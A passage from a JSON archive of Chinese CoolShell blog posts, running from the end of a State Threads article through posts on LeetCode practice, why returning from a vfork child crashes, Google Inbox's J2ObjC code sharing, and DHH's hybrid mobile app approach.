使用限制\n\n\nST的主要限制在于，应用程序所有I/O操作必须使用ST提供的API，因为只有这样thread才能被调度器管理，并且避免阻塞。\n\n\n另一个限制在于thread调试，这本身不容易，好在v1.9的ST提供了DEBUG参数，使用TREADQ以及\\_st\\_iterate\\_threads接口检测thread调度情况，用户还可自定义\\_st\\_show\\_thread\\_stack接口dump每个thread的栈，在GDB使能\\_st\\_iterate\\_threads\\_flag变量，这些都在Readme中对调试方法有具体说明。按下不表。\n\n\n#### 总结\n\n\n这篇文章写得有点短了，主要是通过对比来介绍ST的，其实还有大段原理可以讲，大段源码以及实战用例可以贴，但这一下子又写不过来，ST还是有点技术含量的。说白了，**ST的核心思想就是利用multi-threading的简单优雅范式胜过传统异步回调的复杂晦涩实现，又利用EDSM的性能和解耦架构避免了multi-threading在系统上的开销和暗礁。**学习ST告诉我们一个道理：**未来技术的趋势永远都是融合的。**\n\n\n#### 参考\n\n\n* 在[SourceForge](http://sourceforge.net/projects/state-threads/files/ \"sourceforge源码\")以及[github](https://github.com/winlinvip/state-threads \"github源码\")上的源码：前者有历史版本及win32版本，后者只有v1.9。\n\n\n* [State Threads for Internet Applications](http://state-threads.sourceforge.net/docs/st.html \"State Threads for Internet Applications\")：介绍原理的，值得一看，[这里](http://blog.csdn.net/win_lin/article/details/8242653 \"中文翻译\")有篇中文翻译附加单元测试（在单CPU 512M内存上创建数万个thread，CPU占用率约5%，内存约4.3K/thread）。\n\n\n* [State Threads Library FAQ](http://state-threads.sourceforge.net/docs/faq.html \"State Threads Library FAQ\")：本文基于此而写。\n\n\n* [Complete reference](http://state-threads.sourceforge.net/docs/reference.html \"API手册\")：API完全手册。\n\n\n* [Programing Notes](http://state-threads.sourceforge.net/docs/notes.html \"注意事项\")：编程注意事项，包括信号处理，IPC，非网络I/O事件等。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg](http://coolshell.cn/articles/10975.html)[一个“蝇量级” C 语言协程库](http://coolshell.cn/articles/10975.html)\n* [![程序员疫苗：代码注入](../wp-content/uploads/2012/12/200906020837401710-150x150.jpg)](http://coolshell.cn/articles/8711.html)[程序员疫苗：代码注入](http://coolshell.cn/articles/8711.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](http://coolshell.cn/articles/5987.html)[如何设计“找回用户帐号”功能](http://coolshell.cn/articles/5987.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg](http://coolshell.cn/articles/8309.html)[C/C++语言中闭包的探究及比较](http://coolshell.cn/articles/8309.html)\n* [![无锁队列的实现](../wp-content/uploads/2012/09/lock_free_bicycle-150x150.jpg)](http://coolshell.cn/articles/8239.html)[无锁队列的实现](http://coolshell.cn/articles/8239.html)\n* [![一个fork的面试题](../wp-content/uploads/2012/07/fork01jpg-150x150.jpg)](http://coolshell.cn/articles/7965.html)[一个fork的面试题](http://coolshell.cn/articles/7965.html)\nThe post [State Threads 回调终结者](https://coolshell.cn/articles/12012.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2014-10-23 Leetcode 编程训练.md",
    "content": "---\nlayout: post\ntitle: Leetcode 编程训练\ndate: 2014/10/23/ 2:51:54\nupdated: 2014/10/23/ 2:51:54\nstatus: publish\npublished: true\ntype: post\n---\n\n![LeetCodeLogo (1)](../wp-content/uploads/2014/10/LeetCodeLogo-1.png)Leetcode这个网站上的题都是一些经典的公司用来面试应聘者的面试题，很多人通过刷这些题来应聘一些喜欢面试算法的公司，比如：Google、微软、Facebook、Amazon之类的这些公司，基本上是应试教育的功利主义。\n\n\n我做这些题目的不是为了要去应聘这些公司，而是为了锻炼一下自己的算法和编程能力。因为我开始工作的时候基本没有这样的训练算法和编程的网站，除了大学里的“算法和数据结构”里的好些最基础最基础的知识，基本上没有什么训练。所以，当我看到有人在做这些题的时候，我也蠢蠢欲动地想去刷一下。\n\n\n于是，我花了3-4个月的业余时间，我把[Leetcode的154道题](https://oj.leetcode.com/problems/)全部做完了。（这也是最近我没有太多的时间来写博客的原因，你可以看到我之前[做的那个活动](https://coolshell.cn/articles/11847.html \"谜题的答案和活动的心得体会\")中有几个算法题来自于Leetcode）有人说我时间太多了，这里声明一下，我基本上都是利用了晚上10点以后的时间来做这些题的。\n\n\nLeetCode的题大致分成两类：\n\n\n**1）基础算法的知识**。这些题里面有大量的算法题，解这些题都是有套路的，不是用递归（深度优先DFS，广度优先BFS），就是要用动态规划（Dynamic Programming），或是拆半查找（Binary Search），或是回溯（Back tracing），或是分治法（Divide and Conquer），还有大量的对树，数组、链表、字符串和hash表的操作。**通过做这些题能让你对这些最基础的算法的思路有非常扎实的了解和训练**。对我而言，Dynamic Programming 是我的短板，尤其是一些比较复杂的问题，在推导递推公式上总是有思维的缺陷（数学是我的硬伤），通过做了这些题后，我能感到我在DP的思路上有了很大的收获。\n\n\n**2）编程题**。比如：atoi，strstr，add two num，括号匹配，字符串乘法，通配符匹配，文件路径简化，Text Justification，反转单词等等，这些题的Edge Case, Corner Case有很多。这些题需要你想清楚了再干，只要你稍有疏忽，就会有几个case让你痛不欲生，而且一不小心就会让你的代码会写得又臭又长，无法阅读。**通过做这些题，可以非常好的训练你对各种情况的考虑，以及你对程序代码组织的掌控（其实就是其中的状态变量）。**还记得我在《[函数式编程](https://coolshell.cn/articles/10822.html \"函数式编程\")》中说的，程序中的状态是你程序变得复杂难维护的直接原因。\n\n\n我觉得每个程序员都应该花时间和精力做这些题，因为你会从这些题中得到很大的收益。做完这些题后你一定会明白下面几个道理：\n\n\n\n**1）想清楚了再干**。这个观点我以前就在《[多些时间可以少些代码](https://coolshell.cn/articles/5686.html \"多些时间能少写些代码\")》说过。如果你拿到题就上去直接写代码的话，你一定会被各种case打回来了。然后呢，你一着急，你就会进入那种我在《[开发团队的效率](https://coolshell.cn/articles/11656.html \"开发团队的效率\")》中说的那种毫无效率case by case的开发模式，而你也进入了“平庸模式”。于是你就会出现下图那样的情况。\n\n\n![Case-by-Case Developement](../wp-content/uploads/2014/10/bug_fixing.gif)Case-by-Case Development\n**2) 编程是脑力劳动，急不得**。这个事情在这做这些题的时候你就会发现，要么是脑子转不过来了，要么就是明明就差一点了，但程序怎么都调不对。如果你越着急的话，你就会发现你会离目标越远，而花的时间也会更多。另外，你会发现这些题基本上都是50行代码内就可以搞定的，但是为了这50行以内的代码，你要花好多时间和精力。coding  50行代码在我们的日常工作中分分钟就完成，而Leetcode里的50行代码却没那么简单，也许，用这个你就可以区别什么是码农，什么是程序员了。\n\n\n**3）加班要不得。**因为我总是在晚上10点以后做题，所以，基本上都是在加班状态中工作。这种状态过上两三天，你就会发现，整个大脑已经不转了，而且不但不转，还会犯很多低级错误，很多事情都想不清楚，一个晚上都在和程序的状态控制做搏斗，代码写得越来越乱，越来越没条理。于是这种时候，我都会休息几天，不做题了，然后再做题的时候，就觉得非常地清楚。可见加班 是编程最致命的敌人！\n\n\n我把我的C++代码放到了Github上，大家也帮我review一下，看看有没有可以改善的。\n\n\n**<https://github.com/haoel/leetcode>**\n\n\n好了，不多说了，**我希望大家有时间都去练练LeetCode，无论是找工作还是对你的编程能力会有非常大的提高**。\n\n\n \n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![为什么我反对纯算法面试题](../wp-content/uploads/2012/08/250px-Sheldon_Cooper-150x150.jpg)](https://coolshell.cn/articles/8138.html)[为什么我反对纯算法面试题](https://coolshell.cn/articles/8138.html)\n* [![50年前的登月程序和程序员有多硬核](../wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg)](https://coolshell.cn/articles/19612.html)[50年前的登月程序和程序员有多硬核](https://coolshell.cn/articles/19612.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![“C++的数组不支持多态”？](../wp-content/uploads/2013/04/weibo-150x150.jpg)](https://coolshell.cn/articles/9543.html)[“C++的数组不支持多态”？](https://coolshell.cn/articles/9543.html)\n* [![程序算法与人生选择](../wp-content/uploads/2012/12/choice-150x150.jpg)](https://coolshell.cn/articles/8790.html)[程序算法与人生选择](https://coolshell.cn/articles/8790.html)\nThe post [Leetcode 编程训练](https://coolshell.cn/articles/12052.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2014-11-20 vfork 挂掉的一个问题.md",
    "content": "---\nlayout: post\ntitle: vfork 挂掉的一个问题\ndate: 2014/11/20/ 16:48:27\nupdated: 2014/11/20/ 16:48:27\nstatus: publish\npublished: true\ntype: post\n---\n\n![tux-fork](../wp-content/uploads/2014/11/tux-fork-298x300.gif)在知乎上，有个人问了这样的[一个问题](http://www.zhihu.com/question/26591968)——为什么vfork的子进程里用return，整个程序会挂掉，而且exit()不会？并给出了如下的代码，下面的代码一运行就挂掉了，但如果把子进程的return改成exit(0)就没事。\n\n\n我受邀后本来不想回答这个问题的，因为这个问题明显就是RTFM的事，后来，发现这个问题放在那里好长时间，而挂在下面的几个答案又跑偏得比较严重，我觉得可能有些朋友看到那样的答案会被误导，所以就上去回答了一下这个问题。\n\n\n下面我把问题和我的回答发布在这里，也供更多的人查看。\n\n\n\n```\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\nint main(void) {\n    int var;\n    var = 88;\n    if ((pid = vfork()) < 0) {\n        printf(\"vfork error\");\n        exit(-1);\n    } else if (pid == 0) { /* 子进程 */\n        var++;\n        return 0;\n    }\n    printf(\"pid=%d, glob=%d, var=%d\\n\", getpid(), glob, var);\n    return 0;\n}\n\n```\n\n\n#### **基础知识**\n\n\n首先说一下fork和vfork的差别：\n\n\n* fork 是 创建一个子进程，并把父进程的内存数据copy到子进程中。\n* vfork是 创建一个子进程，并和父进程的内存数据share一起用。\n\n\n这两个的差别是，一个是copy，一个是share。（关于fork，可以参看酷壳之前的《[一道fork的面试题](https://coolshell.cn/articles/7965.html \"一个fork的面试题\")》）\n\n\n你 man vfork 一下，你可以看到，vfork是这样的工作的，\n\n\n1）保证子进程先执行。  \n\n2）当子进程调用exit()或exec()后，父进程往下执行。\n\n\n那么，为什么要干出一个vfork这个玩意？ 原因在man page也讲得很清楚了：\n\n\n\n> **Historic Description**\n> \n> \n> Under Linux, fork(2) is implemented using copy-on-write pages, so the only penalty incurred by fork(2) is the time and memory required to duplicate the parent’s page tables, and to create a unique task structure for the child. **However, in the bad old days a fork(2) would require making** **a complete copy of the caller’s data space, often needlessly, since usually immediately afterwards an exec(3) is done. Thus, for greater efficiency, BSD introduced the vfork() system call, which did not fully copy the address space of the parent process, but borrowed the parent’s mem****ory and thread of control until a call to execve(2) or an exit occurred.** The parent process was suspended while the child was using its resources. The use of vfork() was tricky: for example, not modifying data in the parent process depended on knowing which variables are held in a register.\n> \n> \n\n\n意思是这样的—— **起初只有fork，但是很多程序在fork一个子进程后就exec一个外部程序，于是fork需要copy父进程的数据这个动作就变得毫无意了，而且这样干还很重**（注：后来，fork做了优化，详见本文后面）**，所以，BSD搞出了个父子进程共享的 vfork，这样成本比较低。因此，vfork本就是为了exec而生。**\n\n\n#### **为什么return会挂掉，exit()不会？**\n\n\n从上面我们知道，**结束子进程的调用是exit()而不是return，如果你在vfork中return了，那么，这就意味main()函数return了，注意因为函数栈父子进程共享，所以整个程序的栈就跪了。**\n\n\n如果你在子进程中return，那么基本是下面的过程：\n\n\n**1）子进程的main() 函数 return了，于是程序的函数栈发生了变化。**\n\n\n**2）而main()函数return后，通常会调用 exit()或相似的函数**（如：\\_exit()，exitgroup()）\n\n\n**3）这时，父进程收到子进程exit()，开始从vfork返回，但是尼玛，老子的栈都被你子进程给return干废掉了，你让我怎么执行？**（注：栈会返回一个诡异一个栈地址，对于某些内核版本的实现，直接报“栈错误”就给跪了，然而，对于某些内核版本的实现，于是有可能会再次调用main()，于是进入了一个无限循环的结果，直到vfork 调用返回 error）\n\n\n好了，现在再回到 return 和 exit，return会释放局部变量，并弹栈，回到上级函数执行。exit直接退掉。如果你用c++ 你就知道，return会调用局部对象的析构函数，exit不会。（注：exit不是系统调用，是glibc对系统调用 \\_exit()或\\_exitgroup()的封装）\n\n\n可见，**子进程调用exit() 没有修改函数栈，所以，父进程得以顺利执行**。\n\n\n**但是！注意！如果你调用 exit() 函数，还是会有问题的，正确的方法应该是调用 \\_exit() 函数，因为 exit() 函数 会 flush 并 close 所有的 标准 I/O ，这样会导致父进程受到影响。（这个情况在fork下也会受到影响，会导致一些被buffer的数据被flush两次，这里可以参看《[一个fork的面试题](https://coolshell.cn/articles/7965.html)》）**\n\n\n#### 关于fork的优化\n\n\n很明显，fork太重，而vfork又太危险，所以，就有人开始优化fork这个系统调用。优化的技术用到了著名的**写时拷贝（COW）**。\n\n\n也就是说，**对于fork后并不是马上拷贝内存，而是只有你在需要改变的时候，才会从父进程中拷贝到子进程中，这样fork后立马执行exec的成本就非常小了**。所以，Linux的Man Page中并不鼓励使用vfork() ——\n\n\n\n> “ It is rather unfortunate that Linux revived this specter from the past. The BSD man page states: “This system call will be eliminated when proper system sharing mechanisms are implemented. Users should not depend on the memory sharing semantics of vfork() as it will, in that case, be made synonymous to fork(2).””\n> \n> \n\n\n于是，从BSD4.4开始，他们让vfork和fork变成一样的了\n\n\n但在后来，NetBSD 1.3 又把传统的vfork给捡了回来，说是vfork的性能在 Pentium Pro 200MHz 的机器（这机器好古董啊）上有可以提高几秒钟的性能。详情见——“[NetBSD Documentation: Why implement traditional vfork()](http://www.netbsd.org/docs/kernel/vfork.html)”\n\n\n今天的Linux下，fork和vfork还是各是各的，不过，还是建议你不要用vfork，除非你非常关注性能。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\n* [![sed 简明教程](../wp-content/uploads/2013/02/sed-superman-150x150.png)](https://coolshell.cn/articles/9104.html)[sed 简明教程](https://coolshell.cn/articles/9104.html)\n* [![AWK 简明教程](../wp-content/uploads/2013/02/awk-150x150.jpg)](https://coolshell.cn/articles/9070.html)[AWK 简明教程](https://coolshell.cn/articles/9070.html)\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\nThe post [vfork 挂掉的一个问题](https://coolshell.cn/articles/12103.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2014-11-26 Google Inbox如何跨平台重用代码？.md",
    "content": "---\nlayout: post\ntitle: Google Inbox如何跨平台重用代码？\ndate: 2014/11/26/ 0:3:17\nupdated: 2014/11/26/ 0:3:17\nstatus: publish\npublished: true\ntype: post\n---\n\n原文链接《[How Google Inbox shares 70% of its code across Android, iOS, and the Web](http://arstechnica.com/information-technology/2014/11/how-google-inbox-shares-70-of-its-code-across-android-ios-and-the-web)》\n\n\n[![inbox2-640x264](../wp-content/uploads/2014/11/inbox2-640x264-300x123.jpg)](https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264.jpg)\n\n\n开发一个移动应用在当下并不是一件容易的事情。如果想要获得最多的用户，你的应用通常需要覆盖 iOS, Android, 和 Web 三大平台。这就意味着同一个应用需要开发三个版本，使用 Objective-C 或者 Swift 开发 iOS 版本，使用 Java 开发 Android 版本，使用 JavaScript/CSS/HTML5 开发 Web 版本。工作量增大的同时也意味着有更多的 bug 需要修复。\n\n\n这个问题也是 Google 在开发 Google Inbox 时致力要解决的。在最近发布的这款应用中，Google 使用了一些工具实现了70%的代码跨平台复用。\n\n\nGoogle Inbox 覆盖 iOS, Android, Web 三个平台，它们使用的是同一个后台代码逻辑，只是前端的用户体验和平台相关特性的实现有所不同。Google 自主开发了一套辅助工具将 Android 版本的 Java 代码逻辑编译为 Objective-C (针对 iOS 平台) 和 JavaScript (针对 Web 浏览器)。 Java 到 JavaScript 的编译由 Google Web Toolkit SDK 完成，Java 到 Objective-C 的编译则由 J2ObjC （<j2objc.org>）来完成。\n\n\nJ2ObjC 是一个开源项目，由 Google 在2013年发布。Google Sheets (Google Docs 中的电子表格部分) 也使用了 J2ObjC，而 Google Inbox 则是目前使用 J2Objc 最多的 Google 项目。\n\n\nGoogle Inbox 复用的代码逻辑包括：对话 (conversations)，提醒 (reminders)，联系人 (contacts)。还有网络相关功能和离线同步。这些代码逻辑的复用节省了大量的时间和成本。\n\n\n在产品设计时，Google 将这些可复用功能划分为抽象的逻辑概念，比如：提醒的逻辑放在 “reminder.java” 中，可以被 Android UI 调用。对 iOS 版本而言，J2ObjC 将 “reminder.java” 编译成 Objective-C 代码，再由 iOS UI 调用。\n\n\nGoogle 没有跨平台编译 UI 部分的代码，因为不同平台的UI特性各有不同，盲目统一会导致非常糟糕的用户体验。代码复用只是针对可以共享的后台逻辑，前端的UI实现是完全原生 (native) 的。这与 Xamarin (一个基于 Microsoft C# 的跨平台移动开发工具) 提出的概念类似。\n\n\n跨平台代码复用通常会带来一些性能上的问题。Garrick Toubassi，Engineering Director 和 Google Inbox 项目组成员，对此表示： “性能上的影响如果有的话，也可以说是微不足道的。我们做过大量的性能测试。因为没有加入额外的中间层来处理跨平台兼容性，所有代码最后都是平台原生代码。J2ObjC 编译生成的目标代码和 Java 源代码拥有大致相同的对象数量和对象图谱复杂度 (object graph complexity) ”。\n\n\nGoogle 使用的整套方法解决了跨平台移动开发中的一个很重要的问题，同时也推进了安卓先行 (Android-first) 的移动开发策略。\n\n\n更多 Google Inbox 文章请猛戳 [Gmail 官方博客](http://gmailblog.blogspot.com.au/2014/11/going-under-hood-of-inbox.html)。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![DHH 谈混合移动应用开发](../wp-content/uploads/2014/12/1053-DHH-150x150.jpg)](https://coolshell.cn/articles/12225.html)[DHH 谈混合移动应用开发](https://coolshell.cn/articles/12225.html)\n* [![关于移动端的钓鱼式攻击](../wp-content/uploads/2015/04/phishing-1-150x150.jpg)](https://coolshell.cn/articles/17066.html)[关于移动端的钓鱼式攻击](https://coolshell.cn/articles/17066.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/5815.html)[来信， 创业 和 移动互联网](https://coolshell.cn/articles/5815.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg](https://coolshell.cn/articles/3549.html)[Android将允许纯C/C++开发应用](https://coolshell.cn/articles/3549.html)\n* [![Google App Inventor ](../wp-content/uploads/2010/07/androidappinventor-150x150.jpg)](https://coolshell.cn/articles/2608.html)[Google App Inventor](https://coolshell.cn/articles/2608.html)\nThe post [Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2014-12-15 DHH 谈混合移动应用开发.md",
    "content": "---\nlayout: post\ntitle: DHH 谈混合移动应用开发\ndate: 2014/12/15/ 2:57:20\nupdated: 2014/12/15/ 2:57:20\nstatus: publish\npublished: true\ntype: post\n---\n\n \n\n\n![1053-DHH](../wp-content/uploads/2014/12/1053-DHH-150x150.jpg)David，Ruby on Rails 作者，37signals 合伙人\n\n\n畅销书作家、演说家、赛车手、业余摄影师、顾家好男人\n\n\n \n\n\n[37signals](http://37signals.com/) 在2013年2月发布了 Basecamp 的 iPhone app，在此之前我们就使用原生开发（native）还是混合开发（hybrid）做了许多尝试。在2012年项目启动的时候，大多数人都倾向于原生开发。\n\n\nFacebook 在2012年发布了他们新的 iOS app，为了获得更好的用户体验，他们放弃了原来的 HTML5 混合开发方式。考虑到2010～2011年的时候，HTML 在移动端的性能确实不尽如人意，这个决定在当时看来也在情理之中。2010年的时候我们觉得 iPhone 3G/3GS 够眩够快，但按照现在的标准来看它们就太慢了。因此在为移动应用开发做架构设计时，我们需要考虑新的移动设备的计算能力，而不是那些老的过时的设备。\n\n\n#### 移动开发架构设计不需要过多考虑设备的性能\n\n\n我们从一些测试中得出的一个结论是：现在的移动设备计算能力都很强，运行原生应用和 HTML 应用的效果差别不大，而 HTML 开发的成本则要比原生开发小得多。\n\n\n当然这个结论在某些领域并不太适用。如果你要开发一个 3D 游戏，原生开发方式能够带来更好的游戏体验。但如果你的移动应用象 Basecamp 一样侧重信息处理，为了降低开发成本，你就可以考虑混合开发方式。我们就是如此，下面是我们三代移动产品的发展轨迹：\n\n\n\n#### 第一代产品：原生外壳(native shell)＋嵌套WebView\n\n\n![1159-basecamp-app-phones](../wp-content/uploads/2014/12/1159-basecamp-app-phones-300x242.jpg)\n\n\n这个版本就是一个简单的原生外壳负责界面导航，嵌套一个 WebView 来显示 Basecamp Rail application，显示的基本上都是我们移动网站页面，再加上一些特殊的样式。\n\n\n在移动网站的页面上嵌套一个原生的壳，听起来还是 Web 页面，但实际带给用户的体验确是非常不同。用户可以在 Apple App Store 找到我们的 app，他们一旦登录 app 后可以再也不用重新登录（移动版本的 Safari 似乎会经常清空 cookie，让你不得不重新登录）。我们的 app 大受欢迎，用户评分在4和5之间。\n\n\n整个 app 由一名程序员和一名设计师开发，成本不高，因为我们可以在已有的移动网站的基础上开发。\n\n\n如果我们当初开发完全原生的 app，用10个人的团队1年半的时间也未必能完成。\n\n\n \n\n\n#### 第二代产品：原生外壳＋原生导航界面\n\n\n![1543-unnamed](../wp-content/uploads/2014/12/1543-unnamed-187x300.png)\n\n\n几个月前发布的 Basecamp Android app 是我们的第二代产品，我们在其中做了大量的改进。\n\n\n从第一代 iPhone app 中我们感受到了原生导航界面的威力，所以在 Android 版本中，我们由 HTML 页面导航转向了原生导航界面。我们从 HTML 页面生成原生导航界面，用户体验更加流畅，原生界面和 HTML 页面的体验差别越来越小，甚至很难区分哪些是原生部分，哪些是 HTML 。\n\n\nAndroid 版本是由一两个程序员和一个设计师开发（50%投入）完成的。我们重用了移动站点和 iPhone app 中使用的所有 webview，大大提高了开发效率，同时用户也很买账，超过1000名用户打了4.5~5的高分。\n\n\n很多公司在抱怨他们的 iOS 移动项目进展缓慢，Android 项目似乎更是如此。或许他们已经习惯了 iOS 项目的开发流程，也许是因为 Android 的屏幕碎片化问题，但是这些对我们来说那都不是事。我们推出的 Android app 表现良好，重用了95%的代码，开发团队也一直保持在小规模。\n\n\n \n\n\n#### 因地制宜地运用原生开发方式\n\n\n目前我们正在开发第三代产品，发布的平台暂时保密，不过你应该也不难猜到。在前两代产品中，我们增加了原生导航界面的使用，同时进一步确定了以 webview 为核心的整体架构。在第三代产品中，我们将因地制宜地选择需要使用原生开发的功能，好钢要用在刀刃上。\n\n\n从之前的100% HTML，到现在的90% HTML +10%原生，我们会选择最值得做原生开发的那10%的部分，最终目的是让 app 原生部分和 HTML 部分的体验没有太大区别。\n\n\n \n\n\n#### 混合开发模式使用的技术\n\n\n混合开发模式在技术很简单，主要是处理 webview 的集成、Web 页面的加载，以及原生内容和 HTML 内容之间的交叉链接，其实可能比你想像的还要简单得多。\n\n\nHTML 方面，我们的 Rails Web 应用支持 Web 和移动两大平台，其中 [Rails 4.1 feature of variants](http://edgeguides.rubyonrails.org/4_1_release_notes.html#action-pack-variants) 起了很大的作用。\n\n\n这也很大程度上有助于我们发布新功能。设想一下如果我们每次需要更新这么多平台：Rails desktop app, a Rails API app, a client-side MVC app, a mobile web wrapper app, an Android app, and an iPhone app，像我们这样只有10个程序员和7个设计师的公司根本无力承担如此巨大的工作量。\n\n\n除了工作量的减轻，bug 修复效率也提高了，因为大部分的代码逻辑是在 Web 服务器端，我们可以随时修改代码并发布，不用通过 Apple App Store 的审批流程。所以我们的移动 app 和 Web 应用一样，也是持续部署。\n\n\n就如我之前提到的，混合模式开发并不适用于所有情况。在2010年以前，那时手机的处理能力都不强，所以 HTML/JS 的体验并不好，用户也不喜欢。但是时过境迁，现在手机的处理能力大大提高了，HTML/JS 的性能也不再是一个问题。\n\n\n \n\n\n#### 混合开发模式对原生开发模式的挑战\n\n\n混合开发模式在降低开发复杂度方面有它的优势，如果你的产品是以显示和处理信息为主，我认为都可以不同程度地采用这个模式。\n\n\n对于小型团队和公司而言，并不一定需要采用 iOS 原生 app 先行的模式。使用混合模式，不需要你重头开发一个 app，这样可以降低维护成本，将来扩展到其他平台也更为方便。\n\n\n当然我知道会有很多人质疑这个模式，或许因为他们的 app 中有很多地方需要原生开发（也许仅仅是他们自己这样认为罢了）。又或许他们已经花了很多时间让 app 里的 UITableView 看起来非常漂亮，以致如果其他地方不这样的话显得不是太完美。再或许大公司就是喜欢耗时耗力的原生开发，有钱就是这么任性。\n\n\n无论怎样，混合开发当下应该能够成为我们移动开发策略的一个选择。如果你认为这是一个好的选择，那么恭喜你，尽情愉快地玩耍吧！\n\n\n \n\n\n*原文链接：[Hybrid sweet spot: Native navigation, web content](https://signalvnoise.com/posts/3743?utm_campaign=iOS_Dev_Weekly_Issue_175&utm_medium=email&utm_source=iOS%2BDev%2BWeekly)*\n\n\n \n\n\n下面补充一些 David 答读者问：\n\n\n \n\n\nMike Waite @ 2014-05-08：我很好奇你是如何决定哪些功能要用原生开发？  \n\nDavid @ 2014-05-08：主要靠感觉，这毕竟不是一门科学。如果你感觉你app的某一部分如果用原生开发会更好些，可以尝试做快速原型（spike）。很多时候我们通过这种方式证明我们的想法其实是错的。当然如果你需要使用到手机上的功能如：摄像和其他设备时，HTML目前还不太适用，不过永远也不要把话说死。\n\n\n \n\n\nMike Parsons @ 2014-05-08：好文。很好奇你们是否使用 PhoneGap 或者 Cordova 这样的框架，或者你们自己开发了一个？  \n\nDavid @ 2014-05-08：我们没有使用任何框架。（此处省去xxx字）\n\n\n \n\n\nDerick @ 2014-05-08：你怎样解决 Android 浏览器渲染速度慢的问题？这也是 Android 平台上更多人倾向开发原生app得原因。  \n\nDavid @ 2014-05-08：不知道你这个结论是近期的还是以前的？Basecamp 的 Android app 在我的 Nexus 5 和 HTC One 上面运行得非常流畅。  \n\nDerick @ 2014-05-08：就是最近。我猜测可能和你使用JavaScript的多少有关系。因为以我个人的经验，Android 上 JavaScript 的运行速度非常慢。如果你感兴趣可以看看下面的文章：<https://www.timroes.de/2013/11/23/old-webview-vs-chromium-webview/>  \n\nDavid @ 2014-05-08：我们使用了很多JavaScript，当然没有 Web MVC 客户端用得那样多。另外我们使用了 Turbolinks ：）\n\n\n \n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [![关于移动端的钓鱼式攻击](../wp-content/uploads/2015/04/phishing-1-150x150.jpg)](https://coolshell.cn/articles/17066.html)[关于移动端的钓鱼式攻击](https://coolshell.cn/articles/17066.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\n* [![HTML6 展望](../wp-content/uploads/2014/12/html6-150x150.jpeg)](https://coolshell.cn/articles/12206.html)[HTML6 展望](https://coolshell.cn/articles/12206.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\nThe post [DHH 谈混合移动应用开发](https://coolshell.cn/articles/12225.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2014-12-31 Linus：为何对象引用计数必须是原子的.md",
